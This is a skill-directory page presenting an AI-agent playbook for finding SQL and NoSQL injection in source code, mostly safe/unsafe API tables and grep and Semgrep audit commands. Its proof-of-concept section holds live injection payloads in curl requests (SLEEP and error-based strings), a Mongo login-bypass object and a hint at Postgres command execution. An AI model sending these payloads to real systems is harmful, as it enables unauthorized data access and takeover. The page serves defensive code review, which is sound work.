Skip to content
Skillpedia
Security6.5k · #13971

sql-injection

What it does

This skill is a playbook for finding SQL injection flaws in source code, including raw queries and ORM escape hatches. It is for developers and reviewers who check code they are allowed to inspect.

When to use it

  • ✓When a developer asks the agent to check whether user input reaches a database query in an authorized codebase.
  • ✓When the agent reviews raw query helpers, dynamic table names or search filters for unsafe string building.
  • ✓When a team wants a table of safe and unsafe query methods for its programming language.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute →

Example of what to ask your AI

“Can you check our authorized Python code for any database query that builds its SQL from user input?”

5 new skills a week. 1 minute to read.

How it works

The agent finds query calls, traces user input from requests to those calls, and lists the places that use string building instead of parameters.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

SQL Injection Hunting Playbook

Classic, still the king. Modern ORMs reduce the surface area but every codebase has escape hatches (raw queries, dynamic table names, LIKE fragments) where taint tracking pays off.

1. Sources

Anything accepting untrusted input: query params, form bodies, headers, cookies, JWT claims, file contents parsed as config, message-queue payloads.

2. Sinks by language/framework

Language Safe API Dangerous API
Python cursor.execute(sql, params) cursor.execute(f"... {user}"), %-format
Python SQLAlchemy text().bindparams text(f"... {user}"), raw_sql
Python Django ORM filter kwargs Model.objects.raw(...), .extra(where=[...])
Node pg.query(text, params) Template literals with user data
Node Prisma $queryRaw\...`` $queryRawUnsafe(userString)
Java PreparedStatement Statement.executeQuery(string + user)
Java JPA criteria entityManager.createNativeQuery(user + sql)
Go db.Query(text, args...) fmt.Sprintf → db.Query
Ruby Rails where("col = ?", x) where("col = '#{x}'"), find_by_sql(interp)
PHP PDO prepared mysqli_query($conn, $user . $sql)

3. Taint audit steps

# Semgrep covers 80% of obvious cases
semgrep --config p/sql-injection /workspace/src --sarif -o /workspace/sem-sqli.sarif
kg_ingest_sarif("/workspace/sem-sqli.sarif", "semgrep")

# Grep for the high-signal patterns semgrep misses (dynamic order/group by)
grep -rE 'ORDER BY.*\$|LIMIT.*\$|GROUP BY.*\$' /workspace/src
grep -rE 'execute\s*\(.*f["\']|execute\s*\(.*%.*%' /workspace/src

# Django raw + extra (scanner blind spot)
grep -rE '\.raw\(|\.extra\(' /workspace/src

# Second-order: anything that stores user input then queries by it unescaped
grep -rE 'INSERT INTO.*VALUES.*\?|UPDATE.*SET' /workspace/src

4. Dynamic table/column sinks — the interesting subclass

ORMs parameterize values but NOT identifiers. If the code does:

cursor.execute(f"SELECT * FROM {tenant}_users WHERE id=%s", (uid,))

the table name is user-controlled. Check whether tenant is validated against an allowlist. If not, this is trivial RCE on Postgres (; DROP ... ; COPY ... TO PROGRAM 'bash -c ...' --).

5. NoSQL injection

DB Dangerous Safe
MongoDB db.users.find({name: req.body.name}) find({name: String(req.body.name)})
Firebase db.ref(req.query.path) path allowlist
Dynamo Filter expressions built from strings ExpressionAttributeValues

Classic Mongo bypass: {"username": "admin", "password": {"$ne": null}}.

6. Second-order injection

Most dangerous variant. The sink query reads from a previously stored value that was user-controlled. Missed by 90% of scanners because the taint breaks at the DB boundary.

Audit approach: any column that stores user input and is later concatenated into another query is a candidate. Grep for the column name across the repo.

7. PoC + validation contract

# Blind time-based
curl "https://target.com/search?q=1' AND SLEEP(5)-- -"
# Success: response time > 5s

# Error-based
curl "https://target.com/search?q=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -"
# Success: mysql error with version string reflected

validate_finding contract:

  • success_patterns: version\(\), mysql, postgres, sleep.*5, syntax error near, ORA-01756
  • negative_command: same URL with q=1 (no payload)
  • negative_patterns: same error string (if present without payload, it's unrelated noise — demote)

8. Default CVSS

Variant Score Notes
Authenticated read-only SQLi
FAQ

What is SQL injection?

It is when user input changes the meaning of a database query, which can expose or change data.

Do ORMs prevent it?

The skill says ORMs reduce the risk, but raw query helpers and dynamic parts can still be unsafe.

What is the safer approach?

The skill recommends parameterized queries, where user values are passed separately from the SQL text.

Details

Original description by the author

Hunt SQL injection (CWE-89) via source-level taint tracking. Covers string concat, format-string, ORM raw queries, second-order injection, and NoSQL injection in MongoDB/DynamoDB.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#13971
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills